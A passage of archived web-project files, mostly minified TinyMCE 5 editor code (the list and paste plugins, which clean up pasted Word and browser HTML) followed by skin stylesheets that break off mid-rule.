e}))).length&&u[0].nodeName===r))}return c.on("NodeChange",t),function(){return c.off("NodeChange",t)}}}function c(t,e,n,r,o,i){var u,l,s,c,a,d;1<i.length?(c=r,a=o,d=i,(s=t).ui.registry.addSplitButton(e,{tooltip:n,icon:"OL"===a?"ordered-list":"unordered-list",presets:"listpreview",columns:3,fetch:function(t){t(g.map(d,function(t){return{type:"choiceitem",value:"default"===t?"":t,icon:"list-"+("OL"===a?"num":"bull")+"-"+("disc"===t||"decimal"===t?"default":t),text:t.replace(/\-/g," ").replace(/\b\w/g,function(t){return t.toUpperCase()})}}))},onAction:function(){return s.execCommand(c)},onItemAction:function(t,e){f(s,a,e)},select:function(e){var t,n=(t=s).dom.getParent(t.selection.getNode(),"ol,ul"),r=t.dom.getStyle(n,"listStyleType");return p(r).map(function(t){return e===t}).getOr(!1)},onSetup:m(s,a)})):(l=r,(u=t).ui.registry.addToggleButton(e,{active:!1,tooltip:n,icon:"OL"===o?"ordered-list":"unordered-list",onSetup:m(u,o),onAction:function(){return u.execCommand(l)}}))}var a=function(n){function t(){return o}function e(t){return t(n)}var r=i(n),o={fold:function(t,e){return e(n)},isSome:l,isNone:u,getOr:r,getOrThunk:r,getOrDie:r,getOrNull:r,getOrUndefined:r,or:t,orThunk:t,map:function(t){return a(t(n))},each:function(t){t(n)},bind:e,exists:e,forall:e,filter:function(t){return t(n)?o:s},toArray:function(){return[n]},toString:function(){return"some("+n+")"}};return o},p=function(t){return null==t?s:a(t)};n.add("advlist",function(t){var n,e,r,o;t.hasPlugin("lists")?(c(e=t,"numlist","Numbered list","InsertOrderedList","OL",(r=e.getParam("advlist_number_styles","default,lower-alpha,lower-greek,lower-roman,upper-alpha,upper-roman"))?r.split(/[ ,]/):[]),c(e,"bullist","Bullet list","InsertUnorderedList","UL",(o=e.getParam("advlist_bullet_styles","default,circle,square"))?o.split(/[ ,]/):[]),(n=t).addCommand("ApplyUnorderedListStyle",function(t,e){f(n,"UL",e["list-style-type"])}),n.addCommand("ApplyOrderedListStyle",function(t,e){f(n,"OL",e["list-style-type"])})):console.error("Please use the Lists plugin together with the Advanced List plugin.")})}();PK
h�\�fq�.X.X.program/js/tinymce/plugins/paste/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function w(e){var t=e;return{get:function(){return t},set:function(e){t=e}}}function P(e){return!(null==e)}function _(){}function o(e){return function(){return e}}function e(e){return e}function t(){return l}var n,r=tinymce.util.Tools.resolve("tinymce.PluginManager"),u=function(e){return n=typeof(t=e),"array"==(null===t?"null":"object"==n&&(Array.prototype.isPrototypeOf(t)||t.constructor&&"Array"===t.constructor.name)?"array":"object"==n&&(String.prototype.isPrototypeOf(t)||t.constructor&&"String"===t.constructor.name)?"string":n);var t,n},i=o(!(n="function")),s=o(!0),l={fold:function(e,t){return e()},isSome:i,isNone:s,getOr:e,getOrThunk:a,getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:o(null),getOrUndefined:o(void 0),or:e,orThunk:a,map:t,each:_,bind:t,exists:i,forall:s,filter:function(){return l},toArray:function(){return[]},toString:o("none()")};function a(e){return e()}function c(e,t){for(var n=0,r=e.length;n<r;n++)if(t(e[n],n))return!0;return!1}function f(e,t){for(var n=e.length,r=new Array(n),a=0;a<n;a++){var o=e[a];r[a]=t(o,a)}return r}function d(e,t){for(var n=0,r=e.length;n<r;n++)t(e[n],n)}function p(){var e,t,n=(e=_,t=w(le.none()),{clear:function(){r(),t.set(le.none())},isSet:function(){return t.get().isSome()},get:function(){return t.get()},set:function(e){r(),t.set(le.some(e))}});function r(){return t.get().each(e)}return de(de({},n),{on:function(e){return n.get().each(e)}})}function m(e,t,n){return""===t||e.length>=t.length&&e.substr(n,n+t.length)===t}function C(e,t){return e.fire("PastePlainTextToggle",{state:t})}function T(e){return e.getParam("paste_data_images",!1)}function g(e){return e.getParam("paste_retain_style_properties")}function h(e){return e.getParam("validate")}function y(e){return e.getParam("paste_data_images",!1,"boolean")}function v(e){return he.explode(e.getParam("images_file_types","jpeg,jpg,jpe,jfi,jif,jfif,png,gif,bmp,webp","string"))}function b(e){return-1!==e.indexOf(be)}function x(e,t,n){return t?(r=!0===t?"p":t,a=n,o=e.split(/\n\n/),i=function(e,t){var n,r=[],a="<"+e;if("object"==typeof t){for(var o in t)n=o,we.call(t,n)&&r.push(o+'="'+Pe.encodeAllRaw(t[o])+'"');r.length&&(a+=" "+r.join(" "))}return a+">"}(r,a),s="</"+r+">",1===(l=he.map(o,function(e){return e.split(/\n/).join("<br />")})).length?l[0]:he.map(l,function(e){return i+e+s}).join("")):e.replace(/\r?\n/g,"<br>");var r,a,o,i,s,l}function D(t,e){return he.each(e,function(e){t=e.constructor===RegExp?t.replace(e,""):t.replace(e[0],e[1])}),t}function k(e){return D(e,[/^[\s\S]*<body[^>]*>\s*|\s*<\/body[^>]*>[\s\S]*$/gi,/<!--StartFragment-->|<!--EndFragment-->/g,[/( ?)<span class="Apple-converted-space">\u00a0<\/span>( ?)/g,function(e,t,n){return t||n?"\xa0":" "}],/<br class="Apple-interchange-newline">/g,/<br>$/i])}function O(e){return/<font face="Times New Roman"|class="?Mso|style="[^"]*\bmso-|style='[^']*\bmso-|w:WordDocument/i.test(e)||/class="OutlineElement/.test(e)||/id="?docs\-internal\-guid\-/.test(e)}function S(r,e){var a,t=g(r);t&&(a=he.makeMap(t.split(/[, ]/))),e=D(e,[/<br class="?Apple-interchange-newline"?>/gi,/<b[^>]+id="?docs-internal-[^>]*>/gi,/<!--[\s\S]+?-->/gi,/<(!|script[^>]*>.*?<\/script(?=[>\s])|\/?(\?xml(:\w+)?|img|meta|link|style|\w:\w+)(?=[\s\/>]))[^>]*>/gi,[/<(\/?)s>/gi,"<$1strike>"],[/&nbsp;/gi,"\xa0"],[/<span\s+style\s*=\s*"\s*mso-spacerun\s*:\s*yes\s*;?\s*"\s*>([\s\u00a0]*)<\/span>/gi,function(e,t){return 0<t.length?t.replace(/./," ").slice(Math.floor(t.length/2)).split("").join("\xa0"):""}]]);var n=r.getParam("paste_word_valid_elements","-strong/b,-em/i,-u,-span,-p,-ol,-ul,-li,-h1,-h2,-h3,-h4,-h5,-h6,-p/div,-a[href|name],sub,sup,strike,br,del,table[width],tr,td[colspan|rowspan|width],th[colspan|rowspan|width],thead,tfoot,tbody"),o=De({valid_elements:n,valid_children:"-li[p]"});he.each(o.elements,function(e){e.attributes.class||(e.attributes.class={},e.attributesOrder.push("class")),e.attributes.style||(e.attributes.style={},e.attributesOrder.push("style"))});var i=_e({},o);i.addAttributeFilter("style",function(e){for(var t,n=e.length;n--;)(t=e[n]).attr("style",function(r,a,o,i){var s={},e=r.dom.parseStyle(i);return he.each(e,function(e,t){switch(t){case"mso-list":var n=/\w+ \w+([0-9]+)/i.exec(i);n&&(o._listLevel=parseInt(n[1],10)),/Ignore/i.test(e)&&o.firstChild&&(o._listIgnore=!0,o.firstChild._listIgnore=!0);break;case"horiz-align":t="text-align";break;case"vert-align":t="vertical-align";break;case"font-color":case"mso-foreground":t="color";break;case"mso-background":case"mso-highlight":t="background";break;case"font-weight":case"font-style":return void("normal"!==e&&(s[t]=e));case"mso-element":if(/^(comment|comment-list)$/i.test(e))return void o.remove()}0!==t.indexOf("mso-comment")?0!==t.indexOf("mso-")&&("all"===g(r)||a&&a[t])&&(s[t]=e):o.remove()}),/(bold)/i.test(s["font-weight"])&&(delete s["font-weight"],o.wrap(new Te("b",1))),/(italic)/i.test(s["font-style"])&&(delete s["font-style"],o.wrap(new Te("i",1))),r.dom.serializeStyle(s,o.name)||null}(r,a,t,t.attr("style"))),"span"===t.name&&t.parent&&!t.attributes.length&&t.unwrap()}),i.addAttributeFilter("class",function(e){for(var t,n,r=e.length;r--;)n=(t=e[r]).attr("class"),/^(MsoCommentReference|MsoCommentText|msoDel)$/i.test(n)&&t.remove(),t.attr("class",null)}),i.addNodeFilter("del",function(e){for(var t=e.length;t--;)e[t].remove()}),i.addNodeFilter("a",function(e){for(var t,n,r,a=e.length;a--;)n=(t=e[a]).attr("href"),r=t.attr("name"),n&&-1!==n.indexOf("#_msocom_")?t.remove():!(n=n&&0===n.indexOf("file://")?(n=n.split("#")[1])&&"#"+n:n)&&!r||r&&!/^_?(?:toc|edn|ftn)/i.test(r)?t.unwrap():t.attr({href:n,name:r})});var s=i.parse(e);return r.getParam("paste_convert_word_fake_lists",!0)&&function(e){for(var a,o,i=1,n=function(e){var t="";if(3===e.type)return e.value;if(e=e.firstChild)for(;t+=n(e),e=e.next;);return t},s=function(e,t){if(3===e.type&&t.test(e.value))return e.value=e.value.replace(t,""),!1;if(e=e.firstChild)do{if(!s(e,t))return!1}while(e=e.next);return!0},l=function(e){if(e._listIgnore)e.remove();else if(e=e.firstChild)for(;l(e),e=e.next;);},t=function(e,t,n){var r=e._listLevel||i;(a=r!==i?r<i?a&&a.parent.parent:(o=a,null):a)&&a.name===t?a.append(e):(o=o||a,a=new Te(t,1),1<n&&a.attr("start",""+n),e.wrap(a)),e.name="li",i<r&&o&&o.lastChild.append(a),i=r,l(e),s(e,/^\u00a0+/),s(e,/^\s*([\u2022\u00b7\u00a7\u25CF]|\w+\.)/),s(e,/^\u00a0+/)},r=[],u=e.firstChild;null!=u;)if(r.push(u),null!==(u=u.walk()))for(;void 0!==u&&u.parent!==e;)u=u.walk();for(var c,f,d,p=0;p<r.length;p++)"p"===(e=r[p]).name&&e.firstChild?(c=n(e),/^[\s\u00a0]*[\u2022\u00b7\u00a7\u25CF]\s*/.test(c)?t(e,"ul"):function(t){var n=!1;return t=c.replace(/^[\u00a0 ]+/,""),he.each([/^[IVXLMCD]+\.[ \u00a0]/,/^[ivxlmcd]+\.[ \u00a0]/,/^[a-z]{1,2}[\.\)][ \u00a0]/,/^[A-Z]{1,2}[\.\)][ \u00a0]/,/^[0-9]+\.[ \u00a0]/,/^[\u3007\u4e00\u4e8c\u4e09\u56db\u4e94\u516d\u4e03\u516b\u4e5d]+\.[ \u00a0]/,/^[\u58f1\u5f10\u53c2\u56db\u4f0d\u516d\u4e03\u516b\u4e5d\u62fe]+\.[ \u00a0]/],function(e){if(e.test(t))return!(n=!0)}),n}(c)?(d=1,t(e,"ol",d=(f=/([0-9]+)\./.exec(c))?parseInt(f[1],10):d)):e._listLevel?t(e,"ul",1):a=null):(o=a,a=null)}(s),Ce({validate:h(r)},o).serialize(s)}function j(e,t){return{content:e,cancelled:t}}function A(e,t,n){var r,a,o,i,s,l,u,c,f,d,p,m,g=O(t),v=g?(a=t,(r=e).getParam("paste_enable_default_filters",!0)?S(r,a):a):t;return i=n,s=g,p=(o=e).fire("PastePreProcess",{content:v,internal:i,wordContent:s}),m=function(e,t){var n=_e({},e.schema);n.addNodeFilter("meta",function(e){he.each(e,function(e){e.remove()})});var r=n.parse(t,{forced_root_block:!1,isRootContent:!0});return Ce({validate:h(e)},e.schema).serialize(r)}(o,p.content),o.hasEventListeners("PastePostProcess")&&!p.isDefaultPrevented()?(u=i,c=s,f=(l=o).dom.create("div",{style:"display:none"},m),j((d=l.fire("PastePostProcess",{node:f,internal:u,wordContent:c})).node.innerHTML,d.isDefaultPrevented())):j(m,p.isDefaultPrevented())}function R(e,t){return e.insertContent(t,{merge:e.getParam("paste_merge_formats",!0),paste:!0}),!0}function I(e){return/^https?:\/\/[\w\-\/+=.,!;:&%@^~(){}?#]+$/i.test(e)}function F(e,t,n){return!(!1!==e.selection.isCollapsed()||!I(t)||(a=t,o=n,(r=e).undoManager.extra(function(){o(r,a)},function(){r.execCommand("mceInsertLink",!1,a)}),0));var r,a,o}function E(e,t,n){return r=e,!(!I(a=t)||!c(v(r),function(e){return m(t=a.toLowerCase(),n="."+e.toLowerCase(),t.length-n.length);var t,n})||(i=t,s=n,(o=e).undoManager.extra(function(){s(o,i)},function(){o.insertContent('<img src="'+i+'">')}),0));var r,a,o,i,s}function M(e){return"\n"===e||"\r"===e}function B(e,t,n,r){var a,o,i,s,l=A(e,t,n);!1===l.cancelled&&(a=e,o=l.content,r||!1===a.getParam("smart_paste",!0)?R(a,o):(i=a,s=o,he.each([F,E,R],function(e){return!0!==e(i,s,R)})))}function L(e,t,n){var r=n||b(t);B(e,t.replace(be,""),r,!1)}function N(e,t){var n,r,a,o,i,s,l=e.dom.encode(t).replace(/\r\n/g,"\n"),u=x((n=l,o=(r=e.getParam("paste_tab_spaces",4,"number"))<=0?"":new Array(r+1).join(" "),i=n.replace(/\t/g,o),s={pcIsSpace:!(a=function(e,t){return-1!==" \f\t\v".indexOf(t)||"\xa0"===t?e.pcIsSpace||""===e.str||e.str.length===i.length-1||(n=e.str.length+1)<i.length&&0<=n&&M(i[n])?{pcIsSpace:!1,str:e.str+"\xa0"}:{pcIsSpace:!0,str:e.str+" "}:{pcIsSpace:M(t),str:e.str+t};var n}),str:""},d(i,function(e,t){s=a(s,e)}),s.str),e.getParam("forced_root_block"),e.getParam("forced_root_block_attrs"));B(e,u,!1,!0)}function H(e){var t,n={};if(e&&(!e.getData||(t=e.getData("Text"))&&0<t.length&&-1===t.indexOf("data:text/mce-internal,")&&(n["text/plain"]=t),e.types))for(var r=0;r<e.types.length;r++){var a=e.types[r];try{n[a]=e.getData(a)}catch(e){n[a]=""}}return n}function $(e,t){return t in e&&0<e[t].length}function z(e){return $(e,"text/html")||$(e,"text/plain")}function U(w,e,t){var n,r,a,o,i,s="paste"===e.type?e.clipboardData:e.dataTransfer;if(y(w)&&s){var l=(n=w,a=(r=s).items?function(e){for(var t=[],n=0,r=e.length;n<r;++n){if(!u(e[n]))throw new Error("Arr.flatten item "+n+" was not an array, input: "+e);ce.apply(t,e[n])}return t}(f(fe(r.items),function(e){return"file"===e.kind?[e.getAsFile()]:[]})):[],o=r.files?fe(r.files):[],function(e,t){for(var n=[],r=0,a=e.length;r<a;r++){var o=e[r];t(o,r)&&n.push(o)}return n}(0<a.length?a:o,(i=v(n),function(r){return m(r.type,"image/",0)&&c(i,function(e){return t=e.toLowerCase(),(he.hasOwn(n={jpg:"jpeg",jpe:"jpeg",jfi:"jpeg",jif:"jpeg",jfif:"jpeg",pjpeg:"jpeg",pjp:"jpeg",svg:"svg+xml"},t)?"image/"+n[t]:"image/"+t)===r.type;var t,n})})));if(0<l.length)return e.preventDefault(),ge.all(f(l,function(r){return new ge(function(e){var t=P(r.getAsFile)?r.getAsFile():r,n=new window.FileReader;n.onload=function(){e({blob:t,uri:n.result})},n.readAsDataURL(t)})})).then(function(e){t&&w.selection.setRng(t),d(e,function(e){var t,n,r,a,o,i,s,l,u,c,f,d,p,m,g,v,h,y,b,x;t=w,r=(n=e).uri,g=(a=/data:([^;]+);base64,([a-z0-9\+\/=]+)/i.exec(r))?{type:a[1],data:decodeURIComponent(a[2])}:{type:null,data:null},v=g.data,h=g.type,y=ke(),b=n.blob,(x=new Image).src=n.uri,p=x,!(m=t.getParam("images_dataimg_filter"))||m(p)?(c=void 0,(i=(o=t.editorUpload.blobCache).getByData(v,h))?c=i:(l=(s=t.getParam("images_reuse_filename")&&P(b.name))?(f=t,P(d=b.name.match(/([\s\S]+?)(?:\.[a-z0-9.]+)$/i))?f.dom.encode(d[1]):null):y,u=s?b.name:void 0,c=o.create(y,b,v,l,u),o.add(c)),L(t,'<img src="'+c.blobUri()+'">',!1)):L(t,'<img src="'+n.uri+'">',!1)})}),!0}return!1}function V(e){return ve.metaKeyPressed(e)&&86===e.keyCode||e.shiftKey&&45===e.keyCode}function K(o,e,t){var i,s,v,l,u,c,f;function d(e,t,n,r,a){var o;$(t,"text/html")?o=t["text/html"]:(o=v.getHtml(),a=a||b(o),v.isDefaultContent(o)&&(r=!0)),o=k(o),v.remove();var i,s,l,u,c,f,d,p,m=!1===a&&!/<(?:\/?(?!(?:div|p|br|span)>)\w+|(?:(?!(?:span style="white-space:\s?pre;?">)|br\s?\/>))\w+\s[^>]+)>/i.test(o),g=I(o);((r=!o.length||m&&!g||r)||g)&&(o=$(t,"text/plain")&&m?t["text/plain"]:(i=o,s=De(),l=_e({},s),u="",c=s.getShortEndedElements(),f=he.makeMap("script noscript style textarea video audio iframe object"," "),d=s.getBlockElements(),p=function(e){var t=e.name,n=e;if("br"!==t){if("wbr"!==t)if(c[t]&&(u+=" "),f[t])u+=" ";else{if(3===e.type&&(u+=e.value),!e.shortEnded&&(e=e.firstChild))for(;p(e),e=e.next;);d[t]&&n.next&&(u+="\n","p"===t&&(u+="\n"))}}else u+="\n"},i=D(i,[/<!\[[^\]]+\]>/g]),p(l.parse(i)),u)),v.isDefaultContent(o)?n||e.windowManager.alert("Please use Ctrl+V/Cmd+V keyboard shortcuts to paste contents."):r?N(e,o):L(e,o,a)}s=o,v=e,l=t,c=p(),f=p(),s.on("keyup",f.clear),s.on("keydown",function(e){function t(e){V(e)&&!e.isDefaultPrevented()&&v.remove()}if(V(e)&&!e.isDefaultPrevented()&&(!(u=e.shiftKey&&86===e.keyCode)||!pe.webkit||-1===navigator.userAgent.indexOf("Version/"))){if(e.stopImmediatePropagation(),c.set(e),f.set(!0),pe.ie&&u)return e.preventDefault(),void s.fire("paste",{ieFake:!0});v.remove(),v.create(),s.once("keyup",t),s.once("paste",function(){s.off("keyup",t)})}}),s.on("paste",function(e){var t=c.isSet()||f.isSet();t&&c.clear();var n,r=H(e.clipboardData||s.getDoc().dataTransfer),a="text"===l.get()||u,o=$(r,xe());u=!1,e.isDefaultPrevented()||(n=e.clipboardData,-1!==navigator.userAgent.indexOf("Android")&&n&&n.items&&0===n.items.length)||!z(r)&&U(s,e,v.getLastRng()||s.selection.getRng())?v.remove():(t||e.preventDefault(),!pe.ie||t&&!e.ieFake||$(r,"text/html")||(v.create(),s.dom.bind(v.getEl(),"paste",function(e){e.stopPropagation()}),s.getDoc().execCommand("Paste",!1,null),r["text/html"]=v.getHtml()),$(r,"text/html")?(e.preventDefault(),o=o||b(r["text/html"]),d(s,r,t,a,o)):me.setEditorTimeout(s,function(){d(s,r,t,a,o)},0))}),o.parser.addNodeFilter("img",function(e,t,n){var r;if(!y(o)&&n.data&&!0===n.data.paste)for(var a=e.length;a--;)(i=e[a].attr("src"))&&(0!==i.indexOf("webkit-fake-url")&&(o.getParam("allow_html_data_urls",!1,"boolean")||0!==i.indexOf("data:"))||((r=e[a]).attr("data-mce-object")||i===pe.transparentSrc||r.remove()))})}function X(e){return pe.ie&&e.inline?document.body:e.getBody()}function W(e){var t=w(null),n="%MCEPASTEBIN%";return{create:function(){return function(e,t,n){var r=e.dom,a=e.getBody();t.set(e.selection.getRng());var o,i,s,l,u=e.dom.add(X(e),"div",{id:"mcepastebin",class:"mce-pastebin",contentEditable:!0,"data-mce-bogus":"all",style:"position: fixed; top: 50%; width: 10px; height: 10px; overflow: hidden; opacity: 0"},n);(pe.ie||pe.gecko)&&r.setStyle(u,"left","rtl"===r.getStyle(a,"direction",!0)?65535:-65535),r.bind(u,"beforedeactivate focusin focusout",function(e){e.stopPropagation()}),i=u,s=n,X(l=o=e)!==l.getBody()&&o.dom.bind(i,"paste keyup",function(e){Oe(o,s)||o.fire("paste")}),u.focus(),e.selection.select(u,!0)}(e,t,n)},remove:function(){return function(e,t){if(oe(e)){for(var n,r=t.get();n=e.dom.get("mcepastebin");)e.dom.remove(n),e.dom.unbind(n);r&&e.selection.setRng(r)}t.set(null)}(e,t)},getEl:function(){return oe(e)},getHtml:function(){return function(n){function t(e,t){e.appendChild(t),n.dom.remove(t,!0)}var e=he.grep(X(n).childNodes,function(e){return"mcepastebin"===e.id}),r=e.shift();he.each(e,function(e){t(r,e)});for(var a=n.dom.select("div[id=mcepastebin]",r),o=a.length-1;0<=o;o--){var i=n.dom.create("div");r.insertBefore(i,a[o]),t(i,a[o])}return r?r.innerHTML:""}(e)},getLastRng:t.get,isDefault:function(){return Oe(e,n)},isDefaultContent:function(e){return e===n}}}function Y(e,t,n,r){!function(e,t,n){if(!1===pe.iOS&&"function"==typeof(null==e?void 0:e.setData))try{return e.clearData(),e.setData("text/html",t),e.setData("text/plain",n),e.setData(xe(),t),1}catch(e){return}}(e.clipboardData,t.html,t.text)?n(t.html,r):(e.preventDefault(),r())}function Z(s){return function(e,t){var n=be+e,r=s.dom.create("div",{contenteditable:"false","data-mce-bogus":"all"}),a=s.dom.create("div",{contenteditable:"true"},n);s.dom.setStyles(r,{position:"fixed",top:"0",left:"-3000px",width:"1000px",overflow:"hidden"}),r.appendChild(a),s.dom.add(s.getBody(),r);var o=s.selection.getRng();a.focus();var i=s.dom.createRng();i.selectNodeContents(a),s.selection.setRng(i),me.setTimeout(function(){s.selection.setRng(o),r.parentNode.removeChild(r),t()},0)}}function q(e){return{html:e.selection.getContent({contextual:!0}),text:e.selection.getContent({format:"text"})}}function G(e){return!e.selection.isCollapsed()||(t=e).dom.getParent(t.selection.getStart(),"td[data-mce-selected],th[data-mce-selected]",t.getBody());var t}function J(e,t){return Se.getCaretRangeFromPoint(t.clientX,t.clientY,e.getDoc())}function Q(e,t){e.focus(),e.selection.setRng(t)}function ee(t,n){t.on("PastePreProcess",function(e){e.content=n(t,e.content,e.internal,e.wordContent)})}function te(e,t){if(!O(t))return t;var n=[];return he.each(e.schema.getBlockElements(),function(e,t){n.push(t)}),t=D(t,[[new RegExp("(?:<br>&nbsp;[\\s\\r\\n]+|<br>)*(<\\/?("+n.join("|")+")[^>]*>)(?:<br>&nbsp;[\\s\\r\\n]+|<br>)*","g"),"$1"]]),D(t,[[/<br><br>/g,"<BR><BR>"],[/<br>/g," "],[/<BR><BR>/g,"<br>"]])}function ne(e,t,n,r){if(r||n)return t;var c,f,d,a=e.getParam("paste_webkit_styles");return!1===e.getParam("paste_remove_styles_if_webkit",!0)||"all"===a?t:(t=(c=a?a.split(/[, ]/):c)?(f=e.dom,d=e.selection.getNode(),t.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi,function(e,t,n,r){var a=f.parseStyle(f.decode(n)),o={};if("none"===c)return t+r;for(var i=0;i<c.length;i++){var s=a[c[i]],l=f.getStyle(d,c[i],!0);/color/.test(c[i])&&(s=f.toHex(s),l=f.toHex(l)),l!==s&&(o[c[i]]=s)}var u=f.serializeStyle(o,"span");return u?t+' style="'+u+'"'+r:t+r})):t.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi,"$1$3")).replace(/(<[^>]+) data-mce-style="([^"]+)"([^>]*>)/gi,function(e,t,n,r){return t+' style="'+n+'"'+r})}function re(n,e){n.$("a",e).find("font,u").each(function(e,t){n.dom.remove(t,!0)})}function ae(n,r){return function(t){function e(e){return t.setActive(e.state)}return t.setActive("text"===r.pasteFormat.get()),n.on("PastePlainTextToggle",e),function(){return n.off("PastePlainTextToggle",e)}}}function oe(e){return e.dom.get("mcepastebin")}var ie,se=function(n){function e(){return a}function t(e){return e(n)}var r=o(n),a={fold:function(e,t){return t(n)},isSome:s,isNone:i,getOr:r,getOrThunk:r,getOrDie:r,getOrNull:r,getOrUndefined:r,or:e,orThunk:e,map:function(e){return se(e(n))},each:function(e){e(n)},bind:t,exists:t,forall:t,filter:function(e){return e(n)?a:l},toArray:function(){return[n]},toString:function(){return"some("+n+")"}};return a},le={some:se,none:t,from:function(e){return null==e?l:se(e)}},ue=Array.prototype.slice,ce=Array.prototype.push,fe=typeof Array.from===n?Array.from:function(e){return ue.call(e)},de=function(){return(de=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var a in t=arguments[n])Object.prototype.hasOwnProperty.call(t,a)&&(e[a]=t[a]);return e}).apply(this,arguments)},pe=tinymce.util.Tools.resolve("tinymce.Env"),me=tinymce.util.Tools.resolve("tinymce.util.Delay"),ge=tinymce.util.Tools.resolve("tinymce.util.Promise"),ve=tinymce.util.Tools.resolve("tinymce.util.VK"),he=tinymce.util.Tools.resolve("tinymce.util.Tools"),ye="x-tinymce/html",be="\x3c!-- "+ye+" --\x3e",xe=o(ye),we=Object.hasOwnProperty,Pe=tinymce.util.Tools.resolve("tinymce.html.Entities"),_e=tinymce.util.Tools.resolve("tinymce.html.DomParser"),Ce=tinymce.util.Tools.resolve("tinymce.html.Serializer"),Te=tinymce.util.Tools.resolve("tinymce.html.Node"),De=tinymce.util.Tools.resolve("tinymce.html.Schema"),ke=(ie=0,function(){return"mceclip"+ie++}),Oe=function(e,t){var n=oe(e);return n&&"mcepastebin"===n.id&&n.innerHTML===t},Se=tinymce.util.Tools.resolve("tinymce.dom.RangeUtils");r.add("paste",function(e){if(0==(!!e.hasPlugin("powerpaste",!0)&&(void 0!==window.console&&window.console.log&&window.console.log("PowerPaste is incompatible with Paste plugin! Remove 'paste' from the 'plugins' option."),!0))){var t=w(!1),n=w(e.getParam("paste_as_text",!1)?"text":"html"),r=(y=n,b=W(h=e),h.on("PreInit",function(){return K(h,b,y)}),{pasteFormat:y,pasteHtml:function(e,t){return L(h,e,t)},pasteText:function(e){return N(h,e)},pasteImageData:function(e,t){return U(h,e,t)},getDataTransferItems:H,hasHtmlOrText:z,hasContentType:$}),a=e;return pe.webkit&&ee(a,ne),pe.ie&&(ee(a,te),v=re,(g=a).on("PastePostProcess",function(e){v(g,e.node)})),(p=e).ui.registry.addToggleButton("pastetext",{active:!1,icon:"paste-text",tooltip:"Paste as text",onAction:x,onSetup:ae(p,m=r)}),p.ui.registry.addToggleMenuItem("pastetext",{text:"Paste as text",icon:"paste-text",onAction:x,onSetup:ae(p,m)}),d=r,(f=e).addCommand("mceTogglePlainTextPaste",function(){var e,t=f;"text"===(e=d).pasteFormat.get()?(e.pasteFormat.set("html"),C(t,!1)):(e.pasteFormat.set("text"),C(t,!0)),t.focus()}),f.addCommand("mceInsertClipboardContent",function(e,t){t.content&&d.pasteHtml(t.content,t.internal),t.text&&d.pasteText(t.text)}),function(e){var t=e.plugins.paste,n=e.getParam("paste_preprocess");n&&e.on("PastePreProcess",function(e){n.call(t,t,e)});var r=e.getParam("paste_postprocess");r&&e.on("PastePostProcess",function(e){r.call(t,t,e)})}(e),(o=e).on("cut",(u=o,function(e){G(u)&&Y(e,q(u),Z(u),function(){var e;pe.browser.isChrome()||pe.browser.isFirefox()?(e=u.selection.getRng(),me.setEditorTimeout(u,function(){u.selection.setRng(e),u.execCommand("Delete")},0)):u.execCommand("Delete")})})),o.on("copy",(c=o,function(e){G(c)&&Y(e,q(c),Z(c),_)})),s=r,l=t,(i=e).getParam("paste_block_drop",!1)&&i.on("dragend dragover draggesture dragdrop drop drag",function(e){e.preventDefault(),e.stopPropagation()}),T(i)||i.on("drop",function(e){var t=e.dataTransfer;t&&t.files&&0<t.files.length&&e.preventDefault()}),i.on("drop",function(e){var t,n,r,a,o=J(i,e);e.isDefaultPrevented()||l.get()||(t=s.getDataTransferItems(e.dataTransfer),n=s.hasContentType(t,xe()),(!s.hasHtmlOrText(t)||(r=t["text/plain"])&&0===r.indexOf("file://"))&&s.pasteImageData(e,o)||!o||!i.getParam("paste_filter_drop",!0)||(a=t["mce-internal"]||t["text/html"]||t["text/plain"])&&(e.preventDefault(),me.setEditorTimeout(i,function(){i.undoManager.transact(function(){t["mce-internal"]&&i.execCommand("Delete"),Q(i,o),a=k(a),t["text/html"]?s.pasteHtml(a,n):s.pasteText(a)})})))}),i.on("dragstart",function(e){l.set(!0)}),i.on("dragover dragend",function(e){T(i)&&!1===l.get()&&(e.preventDefault(),Q(i,J(i,e))),"dragend"===e.type&&l.set(!1)}),{clipboard:r}}var i,s,l,o,u,c,f,d,p,m,a,g,v,h,y,b;function x(){return p.execCommand("mceTogglePlainTextPaste")}})}();PK
h�\_�IJ  8program/js/tinymce/skins/ui/oxide/content.mobile.min.cssnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 */
.tinymce-mobile-unfocused-selections .tinymce-mobile-unfocused-selection{background-color:green;display:inline-block;opacity:.5;position:absolute}body{-webkit-text-size-adjust:none}body img{max-width:96vw}body table img{max-width:95%}body{font-family:sans-serif}table{border-collapse:collapse}
PK
h�\�
eka�a�.program/js/tinymce/skins/ui/oxide/skin.min.cssnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 */
.tox{box-shadow:none;box-sizing:content-box;color:#222f3e;cursor:auto;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:16px;font-style:normal;font-weight:400;line-height:normal;-webkit-tap-highlight-color:transparent;text-decoration:none;text-shadow:none;text-transform:none;vertical-align:initial;white-space:normal}.tox :not(svg):not(rect){box-sizing:inherit;color:inherit;cursor:inherit;direction:inherit;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;line-height:inherit;-webkit-tap-highlight-color:inherit;text-align:inherit;text-decoration:inherit;text-shadow:inherit;text-transform:inherit;vertical-align:inherit;white-space:inherit}.tox :not(svg):not(rect){background:0 0;border:0;box-shadow:none;float:none;height:auto;margin:0;max-width:none;outline:0;padding:0;position:static;width:auto}.tox:not([dir=rtl]){direction:ltr;text-align:left}.tox[dir=rtl]{direction:rtl;text-align:right}.tox-tinymce{border:1px solid #ccc;border-radius:0;box-shadow:none;box-sizing:border-box;display:flex;flex-direction:column;font-family:-apple-system,BlinkMacSystemFont,"Segoe 